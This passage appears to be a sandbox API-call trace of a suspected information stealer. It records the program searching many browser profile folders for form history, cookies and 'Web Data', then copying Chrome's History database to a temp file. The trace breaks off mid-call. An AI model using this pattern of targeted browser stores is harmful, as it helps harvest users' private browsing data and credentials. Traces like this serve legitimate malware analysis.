lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.693] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.693] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.693] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.693] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Chedot\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chedot\\User Data\\") returned 0x3e [0061.693] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chedot\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.693] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.693] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.693] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.693] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Torch\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Torch\\User Data\\") returned 0x3d [0061.693] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Torch\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.693] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.694] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.694] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.694] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Mozilla\\Firefox\\Profiles\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned 0x48 [0061.694] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x68d540 [0061.694] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.694] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85442390, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 1 [0061.694] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85442390, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 0 [0061.694] FindClose (in: hFindFile=0x68d540 | out: hFindFile=0x68d540) returned 1 [0061.694] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Waterfox\\Profiles\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Waterfox\\Profiles\\") returned 0x41 [0061.694] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Waterfox\\Profiles\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.694] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc788, cbMultiByte=18, lpWideCharStr=0x18d130, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlite\x05") returned 18 [0061.694] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.694] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.694] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Comodo\\IceDragon\\Profiles\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\") returned 0x49 [0061.694] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.695] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc788, cbMultiByte=18, lpWideCharStr=0x18d130, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlite\x05") returned 18 [0061.695] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.695] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.695] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\8pecxstudios\\Cyberfox\\Profiles\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\") returned 0x4e [0061.695] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.695] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc788, cbMultiByte=18, lpWideCharStr=0x18d130, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlite\x05") returned 18 [0061.695] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.695] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.695] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Moonchild Productions\\Pale Moon\\Profiles\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\") returned 0x58 [0061.695] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.695] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc788, cbMultiByte=18, lpWideCharStr=0x18d130, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlite\x05") returned 18 [0061.695] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.695] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.695] CharToOemBuffA (in: lpszSrc="CookieList.txt", lpszDst=0x42ac12c, cchDstLength=0xe | out: lpszDst="CookieList.txt") returned 1 [0061.695] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x42ac164, Length=0x1c5) returned 0x51ea12c4 [0061.695] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bce8c4, cbMultiByte=12, lpWideCharStr=0x18d408, cchWideChar=2047 | out: lpWideCharStr="GoogleChromeections\\Pale Moon\\Profiles\\er Data\\\x18") returned 12 [0061.695] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Google\\Chrome\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 0x45 [0061.695] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x68d540 [0061.696] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.696] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0061.696] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0061.696] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0061.696] SysReAllocStringLen (in: pbstr=0x18e12c*=0x0, psz="120183", len=0x6 | out: pbstr=0x18e12c*="120183") returned 1 [0061.696] SysReAllocStringLen (in: pbstr=0x18e0d0*=0x0, psz="7420", len=0x4 | out: pbstr=0x18e0d0*="7420") returned 1 [0061.696] SysReAllocStringLen (in: pbstr=0x18e0cc*=0x0, psz="540", len=0x3 | out: pbstr=0x18e0cc*="540") returned 1 [0061.696] SysReAllocStringLen (in: pbstr=0x18e0c8*=0x0, psz="6098", len=0x4 | out: pbstr=0x18e0c8*="6098") returned 1 [0061.696] SysReAllocStringLen (in: pbstr=0x18e0c4*=0x0, psz="14", len=0x2 | out: pbstr=0x18e0c4*="14") returned 1 [0061.696] SysReAllocStringLen (in: pbstr=0x18e140*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\History", len=0x54 | out: pbstr=0x18e140*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\History") returned 1 [0061.696] SysReAllocStringLen (in: pbstr=0x18e0d8*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\History", len=0x54 | out: pbstr=0x18e0d8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\History") returned 1 [0061.696] SysReAllocStringLen (in: pbstr=0x18e140*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\History", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\History", len=0x54 | out: pbstr=0x18e140*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\History") returned 1 [0061.696] SysReAllocStringLen (in: pbstr=0x18e0d4*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", len=0x53 | out: pbstr=0x18e0d4*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 1 [0061.696] SysReAllocStringLen (in: pbstr=0x18e140*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\History", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", len=0x53 | out: pbstr=0x18e140*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 1 [0061.696] SysReAllocStringLen (in: pbstr=0x18e0d0*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", len=0x53 | out: pbstr=0x18e0d0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 1 [0061.697] SysReAllocStringLen (in: pbstr=0x18e140*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", len=0x53 | out: pbstr=0x18e140*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 1 [0061.697] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x6ff594, nSize=0x8000 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0061.697] SysReAllocStringLen (in: pbstr=0x18e13c*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp", len=0x3c | out: pbstr=0x18e13c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp") returned 1 [0061.697] SysReAllocStringLen (in: pbstr=0x18e0d8*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp", len=0x3c | out: pbstr=0x18e0d8*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp") returned 1 [0061.697] SysReAllocStringLen (in: pbstr=0x18e13c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp", len=0x3c | out: pbstr=0x18e13c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp") returned 1 [0061.697] SysReAllocStringLen (in: pbstr=0x18e0d4*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp", len=0x3c | out: pbstr=0x18e0d4*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp") returned 1 [0061.697] SysReAllocStringLen (in: pbstr=0x18e13c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp", len=0x3c | out: pbstr=0x18e13c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp") returned 1 [0061.697] SysReAllocStringLen (in: pbstr=0x18e0d0*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp", len=0x3c | out: pbstr=0x18e0d0*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp") returned 1 [0061.697] SysReAllocStringLen (in: pbstr=0x18e13c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp", len=0x3c | out: pbstr=0x18e13c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp") returned 1 [0061.697] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history"), lpNewFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1201837420540609814.tmp"), bFailIfExists=1) returned 1 [0061.752] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp", cchWideChar=60, lpMultiByteStr=0x18d0d4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp ", lpUsedDefaultChar=0x0) returned 60 [0061.752] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42ac560, cbMultiByte=60, lpWideCharStr=0x18d0b4, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp\x08") returned 60 [0061.753] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0061.753] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp", nBufferLength=0x40, lpBuffer=0x451c100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp", lpFilePart=0x0) returned 0x3c [0061.753] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1201837420540609814.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18def0 | out: lpFileInformation=0x18def0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf565c90, ftCreationTime.dwHighDateTime=0x1d53993, ftLastAccessTime.dwLowDateTime=0xaf565c90, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x87f47590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x19000)) returned 1 [0061.753] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1201837420540609814.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1201837420540609814.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x440 [0061.753] ReadFile (in: hFile=0x440, lpBuffer=0x18e020, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x18dfe4, lpOverlapped=0x18dfa8 | out: lpBuffer=0x18e020*, lpNumberOfBytesRead=0x18dfe4*=0x64, lpOverlapped=0x18dfa8) returned 1 [0061.753] strncmp (_Str1="simple", _Str2="porter", _MaxCount=0x7) returned 1 [0061.753] LockFileEx (in: hFile=0x440, dwFlags=0x3, 